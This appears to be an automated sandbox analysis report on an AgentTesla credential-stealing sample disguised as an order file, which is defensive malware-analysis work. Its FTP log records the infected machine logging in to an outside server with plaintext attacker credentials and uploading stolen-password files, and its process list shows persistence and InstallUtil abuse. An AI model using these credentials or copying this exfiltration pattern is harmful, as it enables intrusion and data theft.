2024-10-09 13:02:04 UTC	234	IN	HTTP/1.1 200 OK Date: Wed, 09 Oct 2024 13:02:04 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 09 Oct 2024 11:18:34 GMT Accept-Ranges: bytes Content-Length: 959504 Content-Type: video/mp4
2024-10-09 13:02:04 UTC	7958	IN	Data Raw: e2 28 15 53 f2 7b 15 07 aa d5 4d 1f 3b 2f 02 b6 03 27 fc aa 10 81 f7 c9 70 03 06 1c 22 aa 28 14 82 64 60 6b 1d 58 9a 33 26 ca 89 1a 85 b6 02 35 c2 db b3 17 1a 22 10 f8 52 46 a8 05 84 68 55 5f e8 21 39 2d 11 b0 72 e6 9d 6e 2e ad 62 02 65 3f ed 94 ae 42 c5 65 1f 2b 34 3c a4 a9 27 e5 15 4a cf ec 32 19 8c 82 8b 31 18 2b a1 e1 73 86 35 da 64 25 b7 00 79 1e 25 db 5f a0 a0 08 cd 61 d3 2f 8c 90 ca 6b a1 14 94 60 4f b2 d2 51 ec 16 0a 4a dd 58 71 61 70 b3 f2 b8 2d a3 10 12 5c 74 07 4a fe 91 81 8e c3 6d 8f b8 9b 5a 61 4e ac 3e 0f 1a c8 cb d9 30 fe 29 a8 48 31 23 94 28 92 fe d3 4d 2b bf 49 6d 42 09 ef 8b 4c 83 f8 fd 25 9f 39 71 61 4f c4 84 1c 4a e3 7a 18 96 a9 89 f9 08 06 f7 8d f7 2b b0 de 09 d9 91 64 d2 a3 bc be 29 76 2c 19 e1 cc 3f 71 5e 9d 69 81 f0 1a 05 77 d7 5f Data Ascii: (S{M;/'p"(d`kX3&5"RFhU_!9-rn.be?Be+4<'J21+s5d%y%_a/k`OQJXqap-\tJmZaN>0)H1#(M+ImBL%9qaOJz+d)v,?q^iw_
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 1a b3 17 7f 75 07 79 13 cf ef d1 58 7e 08 f3 bc 5b f4 e6 bb 6a 08 2b 03 5c c8 fe 7b 53 af 83 69 db ad 67 d5 aa 23 45 0c 4b 36 4d 80 4b b5 2d c7 a3 a0 1c 95 52 a9 28 fe ad 72 25 cb f4 e2 16 73 e2 34 64 7d a0 3e fa ac e3 9a fa e7 2a c0 78 b7 0a fd 40 b2 0a 0b e8 2b 3f bb 8b fc f9 cf 60 55 04 32 39 2a 2d 92 2c 56 78 c6 31 a5 fd 3a d8 87 a4 c7 66 c3 ef 55 26 1d 13 c6 39 e4 5a f0 55 be 70 5c 70 5c ba 5d f4 0c 70 fe 57 ff 34 43 f6 9c 32 49 d5 00 19 40 2f d3 91 d6 f0 64 14 bd 7f 49 d2 dd 13 92 c1 01 64 01 d1 00 2f 9b 0c e8 aa d1 1f 1a b7 61 09 8a e5 98 cb f6 bc 6f 20 6b c3 d2 c6 de 23 02 dc e1 34 47 99 93 6f ae f5 7e 0e c4 94 c7 58 6c 37 cc 59 4d 74 32 bd 43 02 a9 05 38 11 b3 58 ca 04 8d ff a1 c9 c5 0f 8c 53 ec 67 d1 75 a6 0e 8d de 2b ee 58 29 99 f7 62 ed 30 d3 Data Ascii: uyX~[j+\{Sig#EK6MK-R(r%s4d}>x@+?`U29-,Vx1:fU&9ZUp\p\]pW4C2I@/dId/ao k#4Go~Xl7YMt2C8XSgu+X)b0
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 30 06 f2 49 8f 29 4e 0f 70 49 10 e1 4d 9b 65 31 25 aa ae 16 d9 cb eb 16 a5 0d 0b 4e 14 71 e5 96 82 6b 7a 79 33 a1 5d 96 58 89 91 d7 b6 fc 50 9d 6f 5a 3e c5 42 9c 73 ad bc 57 56 28 36 77 fd fd 1a 40 1d 36 02 da 6a 56 50 03 a5 02 6f 3d fa b9 3c a5 d3 cb 45 e1 91 92 d7 8b c2 fe f2 2e a0 d3 f1 64 7e d1 30 6e 5e 38 ec f1 75 1c 5e 30 be 22 b1 6b cc 87 1a c1 c0 05 64 55 e7 a0 88 aa 49 d8 7b bf df aa 11 7b 5c 14 03 50 76 69 bd 6b 81 51 5e 8b 7f 39 3c a6 41 98 b7 c0 c6 7d 95 41 64 b7 3b dd ed 8b 7a 71 a3 9c 8f 8d 67 3b 8f 0a 92 91 18 b7 86 5a 81 39 9e f5 a8 f5 4c 0d 6c 52 18 81 93 b9 ee f6 d0 9f 92 71 fc a7 90 db 98 d5 3b 98 b6 b0 d0 26 95 12 50 b6 ac 33 54 4b 70 bb ba 3e 83 94 03 13 e8 b3 97 2a 66 77 21 56 f8 ae 3f d8 37 cb b1 40 ec bf 05 44 09 e5 df 66 02 44 b3 Data Ascii: 0I)NpIMe1%Nqkzy3]XPoZ>BsWV(6w@6jVPo=<E.d~0n^8u^0"kdUI{{\PvikQ^9<A}Ad;zqg;Z9LlRq;&P3TKp>*fw!V?7@DfD
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: d9 13 75 01 96 3c 96 1c 60 80 27 7f c3 80 15 6a 8e f3 88 98 31 d0 5b e5 2e 15 93 ed 58 bf ce ed 8c 37 99 b9 40 56 41 8a 90 69 98 dd ef f1 6d f5 95 00 df 40 31 88 48 a1 d0 ff a8 b9 c2 12 b0 57 d3 09 99 4c 77 40 10 b7 38 0e 0f 8d 07 96 f7 d6 56 4a f2 54 6a 64 82 1a 4c af 8f ca 93 98 9b 62 5a be c7 39 79 12 de 68 6a 90 8a 80 89 29 71 f5 0b a6 81 dc 43 26 5b e0 7e d9 42 ca 33 55 3a 29 e7 f2 53 9c 09 2f 0c a7 e8 0b c3 9e 33 b2 c6 e2 fc 89 2b 07 73 13 83 59 84 6f af 47 0b 70 6a d2 7c eb b2 b6 1e 60 39 6d 46 c8 ca f1 31 53 50 75 e0 76 c1 cc 58 e3 ce 4a 44 ab b8 cf 79 50 f7 d2 33 90 04 e0 6f 2e 7d 17 80 f6 a7 97 a1 52 87 54 a2 df c5 8f 18 7c 0d 65 89 ec e6 76 04 dd c1 94 0c c9 9a 79 61 6d cc 7c 87 f1 b2 54 12 55 38 2c 87 91 f2 a0 46 01 c3 19 a6 66 e3 01 7e 19 27 Data Ascii: u<`'j1[.X7@VAim@1HWLw@8VJTjdLbZ9yhj)qC&[~B3U:)S/3+sYoGpj\|`9mF1SPuvXJDyP3o.}RT\|evyam\|TU8,Ff~'
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 50 32 ff 4b 3f af b0 33 ec 1d 96 0d a7 bf ed ea 5e 56 f1 2a 40 6d 43 2d f0 4f f1 36 ad 80 78 d1 52 9d d2 07 74 7f 51 f6 31 e1 e1 cd 1d b3 61 36 63 b2 50 58 32 54 48 f3 84 c9 52 c8 46 90 0d 67 a4 d0 cb c8 50 08 a7 5e 37 62 57 85 ea 68 1a 8f 74 57 25 b8 5f e9 5d 6a 82 ed 57 28 0e b1 0b 51 06 2c 9a ac 5b f5 90 bd 42 92 8e 57 9f 49 95 5a a7 21 3b 48 4b e8 3a 6d 37 f4 29 35 87 85 1b 1f 78 1b f8 3a 5b 77 27 b8 7e 13 f2 e1 44 98 d5 6f 33 18 ca 45 4c de 4e 47 fe 13 79 3c d2 56 96 e4 d0 a7 3a 98 b1 65 0d 96 3b d3 e1 5e b4 3e 3b 08 cf 56 6d bf b3 3d 6d 1e 1c bc b8 1d f8 07 d1 36 cc 7c 7d b6 2d e9 c7 62 f4 54 cf f6 45 94 91 42 8a 58 b6 23 44 c0 e8 fc bd a1 eb b7 d8 54 58 4b 21 fb 18 ff af aa 5c b6 99 c0 3d 55 8a c6 f7 64 7d 49 3c 75 16 59 61 97 aa 00 40 1a 7d 8b 20 Data Ascii: P2K?3^V*@mC-O6xRtQ1a6cPX2THRFgP^7bWhtW%_]jW(Q,[BWIZ!;HK:m7)5x:[w'~Do3ELNGy<V:e;^>;Vm=m6\|}-bTEBX#DTXK!\=Ud}I<uYa@}
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 1d 8a bf 75 2d cc ee e4 41 90 85 e4 0f 9e 47 2f 3a 5a 10 b9 52 98 68 39 e0 7d 50 88 d8 22 ac 38 e7 09 6a 84 13 26 e4 ab 33 ce 3b 15 0c a8 62 de 65 2c af e0 95 07 d5 1c 38 7f 4d 2b f3 83 37 c9 1c 1b f6 af 1c d6 73 d2 ce 1f 44 76 d3 b9 e8 26 58 b2 b3 10 3d ce a5 88 f1 4a 13 38 fa 63 e5 5e c1 6b 5c 33 ab 22 74 8c 8c 30 9c f8 5c 22 cc 27 ba a8 63 b5 8c 89 a9 46 72 5e 2a 6c 0e 57 2a 38 2f b0 ae ed 0e 92 59 32 65 79 45 16 31 2e 70 fa 1f cc fd 56 fc e8 30 2a e4 6b 39 6a a8 88 ec 8a de 5a 2d ca 6e d8 d0 c1 b3 a7 93 eb 56 69 74 39 7d 72 4b 06 13 e3 fe 73 3b ca b9 33 a4 2c bd 28 ce e0 a8 b4 5d f4 b8 23 a9 8c fd af 89 91 9b 74 82 af 9a 76 0b 35 c0 a1 9d ad 38 7e 3f 89 05 25 f5 e4 9d 68 4d 53 47 fe 36 a0 62 69 9b 5c 72 a1 06 03 66 6c ce 2c ff 16 82 23 00 76 d7 a9 9b Data Ascii: u-AG/:ZRh9}P"8j&3;be,8M+7sDv&X=J8c^k\3"t0\"'cFr^lW8/Y2eyE1.pV0*k9jZ-nVit9}rKs;3,(]#tv58~?%hMSG6bi\rfl,#v
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: da 1d 2c 51 0b 48 d0 b0 57 51 b3 44 1d 40 1f 53 ea 98 4f c5 cf b7 e1 c9 df 10 0d 0f 11 26 c8 71 36 f8 e0 2f 7f 39 b4 8b 83 a0 a9 2e a0 5b 3e 4d cc 79 20 36 d4 07 2a 00 a8 6d 4f e1 da 53 fa 23 6d f0 39 ca 60 81 87 66 e1 d0 20 e8 22 c3 6e 08 a0 48 ca 6e 8b 08 70 39 c3 3c e5 3f 20 17 fd 1b 98 10 b7 98 28 35 ea e3 34 b7 0f 7a ef 95 f2 43 4a 77 73 e8 e8 9e bf d6 ec b8 5c 3b 9a e5 06 80 3c e5 24 8b 32 52 56 4b ad 17 15 03 9c bd 37 c9 65 f6 f4 40 06 f2 7a bc c4 ae f8 f0 2d fd 11 3f 59 1f 68 8f 24 c9 c3 52 ec 66 24 cb 41 85 16 d6 13 2f 4b b1 82 24 20 8b b3 bf b7 de ba 91 a0 b1 e8 1e 95 55 a4 a2 b3 62 ab f8 e7 3e dd 71 ad 2e eb 82 c4 2a 24 48 e0 a5 0d 4f c6 7a a8 fa fb 3e a5 56 d3 f9 d5 d4 42 ca 68 26 4c 6d c6 a7 b9 44 e7 8e c4 d7 3c 83 5b 11 6d 3f f5 dc 14 d3 0c Data Ascii: ,QHWQD@SO&q6/9.[>My 6mOS#m9`f "nHnp9<? (54zCJws\;<$2RVK7e@z-?Yh$Rf$A/K$ Ub>q.$HOz>VBh&LmD<[m?
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: dd 01 b8 33 bb 76 d4 e0 a7 97 cb 81 3e 16 97 a7 00 a7 25 ae a7 d5 09 7c 1a 3c cf 7e bb b4 6d 71 72 24 dc e7 f3 6d 86 5c 58 f4 ed 8d 45 ca a1 f9 21 01 e1 5d ef ba a2 51 f8 bf ce 65 ff ca 52 a1 7a ab 15 81 95 ff 1a 61 a3 22 8a 5c f1 01 77 23 16 62 c6 a2 ae 01 63 17 b0 f6 23 e1 f2 c6 13 49 47 69 3a f2 54 40 b5 3d 67 20 4e 95 e1 4a 63 18 a8 47 39 83 d2 ed a2 fe 00 c0 ce e7 b0 0c 3d d5 9b 11 9b b8 63 56 19 ce 86 86 0f 8b 58 ee 07 e7 c0 33 a8 0b 75 fd c7 e0 fc 12 f4 6e d0 16 34 06 d3 29 3a 8f 0b 02 fd 6f fa f5 46 1f 5d 69 80 80 4a 18 78 96 d9 af 53 50 a1 da 49 3f 03 db c2 8f c8 86 cb aa 82 84 3b 77 25 9d 4b e0 74 f0 1e 60 16 13 08 17 f7 2d ce 1c 1b 9f dc 7d 9c 46 fb 26 2b 60 f0 59 15 03 f3 aa 6c 3a 6a 5d 09 c9 cf 3c 62 ba 5f fc 7f 73 69 5f 49 f0 1c 62 f5 19 da Data Ascii: 3v>%\|<~mqr$m\XE!]QeRza"\w#bc#IGi:T@=g NJcG9=cVX3un4):oF]iJxSPI?;w%Kt`-}F&+`Yl:j]<b_si_Ib
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 95 56 61 0f 61 8f ce b9 86 30 8f fb 99 97 5e 84 b9 91 bb b0 20 17 48 12 3f 9d 40 e5 85 31 7d 29 be 90 c9 f3 72 3d 38 de be 52 fc 41 63 77 75 53 ac f5 6e 1a cb 40 f4 55 03 88 3f 89 a5 18 19 12 ec 3e 60 1d cd b3 05 fb 23 a0 5b 91 3b 2f 7c ff 14 28 99 8f df 38 db a5 ca 75 2b 76 33 17 27 4f 0a d1 6c fe 3c 76 aa 51 b3 e8 45 d1 ba fa cd 4f 48 17 5e 4f 68 57 31 2a 40 22 e2 4e df 55 83 bb 7e 5b 79 93 d1 51 cf 49 dd bd 60 60 4a b7 67 8a e5 33 a9 72 43 61 07 60 ff c7 55 6b 59 f9 a0 0c 9d 1e 31 70 2e 32 71 f1 e7 7b 8d 94 0d bb 29 6f ec a7 d9 91 4c ca c4 f7 8b 31 0d 54 29 cb 46 60 6a b2 8e 77 20 64 8a 20 d0 3f cb 94 41 08 a2 3f 97 eb 32 46 bc 69 14 98 d2 ab ed 09 4b bc 34 cc fe 75 70 c3 0d 6c 55 36 0e 29 64 2b bb 26 c1 7b 92 02 53 97 7b 68 96 0d d3 12 f8 9b 7f d0 3f Data Ascii: Vaa0^ H?@1})r=8RAcwuSn@U?>`#[;/\|(8u+v3'Ol<vQEOH^OhW1*@"NU~[yQI``Jg3rCa`UkY1p.2q{)oL1T)F`jw d ?A?2FiK4uplU6)d+&{S{h?
2024-10-09 13:02:04 UTC	8000	IN	Data Raw: 3c bb ee c0 25 a7 cb 08 3c 34 bc b2 22 90 76 40 3d bb 29 7e 17 a5 a4 6b a7 fb d0 0c 06 5f 5c 60 ba eb 6c 59 13 8f f0 ed db 91 65 f9 b6 a6 26 9d 4d cf 4d 03 69 70 5a 9b ed 45 e3 fc 3e aa 38 5a e5 9a 0b e2 19 03 e8 11 af b8 81 2c a0 5c fd bd 6a db 2a 42 59 97 3b 9f 7e 63 47 a1 4a b6 8a f6 5b dc e5 9b 3b eb 3b c2 d4 df b7 e0 56 af 3f 08 94 fd e4 41 3a ae f3 1f 95 18 06 98 da 66 94 6c b2 dc 1b 96 9f a5 8f 6c 66 4e e8 e1 06 be 12 34 15 a9 4a f4 86 83 6a 20 00 df b9 96 a8 55 82 d8 0c 98 15 34 95 eb 44 78 05 d4 53 ea 2e 7e 6b fd 40 7f 71 a0 f6 45 aa 1e 31 b3 af c7 69 c4 02 6d 24 46 ef 59 ee 21 7b 7d 89 3f 97 58 12 81 f1 86 1b 49 b0 d1 c5 36 8e b6 1e 8c 5e db 21 f6 46 50 80 09 d2 bb 5d ae 4c 5d c4 9a 10 80 a1 a8 56 24 08 b6 b2 b0 e4 91 78 46 81 66 6e 80 8e c0 ac Data Ascii: <%<4"v@=)~k_\`lYe&MMipZE>8Z,\j*BY;~cGJ[;;V?A:fllfN4Jj U4DxS.~k@qE1im$FY!{}?XI6^!FP]L]V$xFfn

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 9, 2024 15:01:44.032128096 CEST	21	49766	5.2.84.236	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 15:01:44.032381058 CEST	49766	21	192.168.2.9	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 15:01:44.253540993 CEST	21	49766	5.2.84.236	192.168.2.9	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 15:01:44.253741026 CEST	49766	21	192.168.2.9	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 15:01:44.558885098 CEST	21	49766	5.2.84.236	192.168.2.9	230 OK. Current restricted directory is /
Oct 9, 2024 15:01:44.779025078 CEST	21	49766	5.2.84.236	192.168.2.9	504 Unknown command
Oct 9, 2024 15:01:44.779361010 CEST	49766	21	192.168.2.9	5.2.84.236	PWD
Oct 9, 2024 15:01:44.999363899 CEST	21	49766	5.2.84.236	192.168.2.9	257 "/" is your current location
Oct 9, 2024 15:01:44.999527931 CEST	49766	21	192.168.2.9	5.2.84.236	TYPE I
Oct 9, 2024 15:01:45.221997023 CEST	21	49766	5.2.84.236	192.168.2.9	200 TYPE is now 8-bit binary
Oct 9, 2024 15:01:45.222273111 CEST	49766	21	192.168.2.9	5.2.84.236	PASV
Oct 9, 2024 15:01:45.442713976 CEST	21	49766	5.2.84.236	192.168.2.9	227 Entering Passive Mode (5,2,84,236,230,117)
Oct 9, 2024 15:01:45.449007034 CEST	49766	21	192.168.2.9	5.2.84.236	STOR PW_user-651689_2024_10_09_09_01_41.html
Oct 9, 2024 15:01:46.060630083 CEST	21	49766	5.2.84.236	192.168.2.9	150 Accepted data connection
Oct 9, 2024 15:01:46.283751011 CEST	21	49766	5.2.84.236	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.224 seconds (measured here), 1.39 Kbytes per second
Oct 9, 2024 15:02:00.664175987 CEST	21	49853	5.2.84.236	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 2 of 100 allowed.220-Local time is now 16:01. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 15:02:00.664474010 CEST	49853	21	192.168.2.9	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 15:02:00.892010927 CEST	21	49853	5.2.84.236	192.168.2.9	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 15:02:00.892241001 CEST	49853	21	192.168.2.9	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 15:02:01.336200953 CEST	21	49853	5.2.84.236	192.168.2.9	230 OK. Current restricted directory is /
Oct 9, 2024 15:02:01.564239025 CEST	21	49853	5.2.84.236	192.168.2.9	504 Unknown command
Oct 9, 2024 15:02:01.564428091 CEST	49853	21	192.168.2.9	5.2.84.236	PWD
Oct 9, 2024 15:02:01.792363882 CEST	21	49853	5.2.84.236	192.168.2.9	257 "/" is your current location
Oct 9, 2024 15:02:01.793025970 CEST	49853	21	192.168.2.9	5.2.84.236	TYPE I
Oct 9, 2024 15:02:02.020143032 CEST	21	49853	5.2.84.236	192.168.2.9	200 TYPE is now 8-bit binary
Oct 9, 2024 15:02:02.020306110 CEST	49853	21	192.168.2.9	5.2.84.236	PASV
Oct 9, 2024 15:02:02.247364044 CEST	21	49853	5.2.84.236	192.168.2.9	227 Entering Passive Mode (5,2,84,236,248,124)
Oct 9, 2024 15:02:02.253420115 CEST	49853	21	192.168.2.9	5.2.84.236	STOR PW_user-651689_2024_10_09_09_01_58.html
Oct 9, 2024 15:02:02.887054920 CEST	21	49853	5.2.84.236	192.168.2.9	150 Accepted data connection
Oct 9, 2024 15:02:03.259938955 CEST	21	49853	5.2.84.236	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.228 seconds (measured here), 1.36 Kbytes per second
Oct 9, 2024 15:02:08.675556898 CEST	21	49894	5.2.84.236	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 16:02. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 16:02. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 16:02. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 3 of 100 allowed.220-Local time is now 16:02. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 10 minutes of inactivity.
Oct 9, 2024 15:02:08.675856113 CEST	49894	21	192.168.2.9	5.2.84.236	USER fgghv@alternatifplastik.com
Oct 9, 2024 15:02:08.900168896 CEST	21	49894	5.2.84.236	192.168.2.9	331 User fgghv@alternatifplastik.com OK. Password required
Oct 9, 2024 15:02:08.923407078 CEST	49894	21	192.168.2.9	5.2.84.236	PASS Fineboy777@
Oct 9, 2024 15:02:09.167845011 CEST	21	49894	5.2.84.236	192.168.2.9	230 OK. Current restricted directory is /
Oct 9, 2024 15:02:09.394056082 CEST	21	49894	5.2.84.236	192.168.2.9	504 Unknown command
Oct 9, 2024 15:02:09.394401073 CEST	49894	21	192.168.2.9	5.2.84.236	PWD
Oct 9, 2024 15:02:09.618685007 CEST	21	49894	5.2.84.236	192.168.2.9	257 "/" is your current location
Oct 9, 2024 15:02:09.618923903 CEST	49894	21	192.168.2.9	5.2.84.236	TYPE I
Oct 9, 2024 15:02:09.844202995 CEST	21	49894	5.2.84.236	192.168.2.9	200 TYPE is now 8-bit binary
Oct 9, 2024 15:02:09.844340086 CEST	49894	21	192.168.2.9	5.2.84.236	PASV
Oct 9, 2024 15:02:10.069533110 CEST	21	49894	5.2.84.236	192.168.2.9	227 Entering Passive Mode (5,2,84,236,255,149)
Oct 9, 2024 15:02:10.076009035 CEST	49894	21	192.168.2.9	5.2.84.236	STOR PW_user-651689_2024_10_09_09_02_06.html
Oct 9, 2024 15:02:10.692442894 CEST	21	49894	5.2.84.236	192.168.2.9	150 Accepted data connection
Oct 9, 2024 15:02:10.917622089 CEST	21	49894	5.2.84.236	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.225 seconds (measured here), 1.38 Kbytes per second

Target ID:	0
Start time:	09:01:34
Start date:	09/10/2024
Path:	C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe"
Imagebase:	0xf70000
File size:	39'936 bytes
MD5 hash:	7EDAA96C807197B45FFB4F442AB3BFAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1399224699.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1410088723.0000000006EA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1389741733.0000000003483000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1399224699.00000000044CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:01:39
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xa50000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1561474335.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1570412470.0000000002DFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000002.00000002.1570412470.0000000002DB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:01:52
Start date:	09/10/2024
Path:	C:\Users\user\AppData\Roaming\Fqhnalw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Fqhnalw.exe"
Imagebase:	0xb80000
File size:	39'936 bytes
MD5 hash:	7EDAA96C807197B45FFB4F442AB3BFAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1566745789.0000000003125000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000004.00000002.1585499252.000000000417C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:01:57
Start date:	09/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0xe90000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.1655327124.00000000033BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000005.00000002.1655327124.00000000033FE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:02:01
Start date:	09/10/2024
Path:	C:\Users\user\AppData\Roaming\Fqhnalw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\Fqhnalw.exe"
Imagebase:	0xc20000
File size:	39'936 bytes
MD5 hash:	7EDAA96C807197B45FFB4F442AB3BFAA
Has elevated privileges:	false
Has administrator privileges:	false
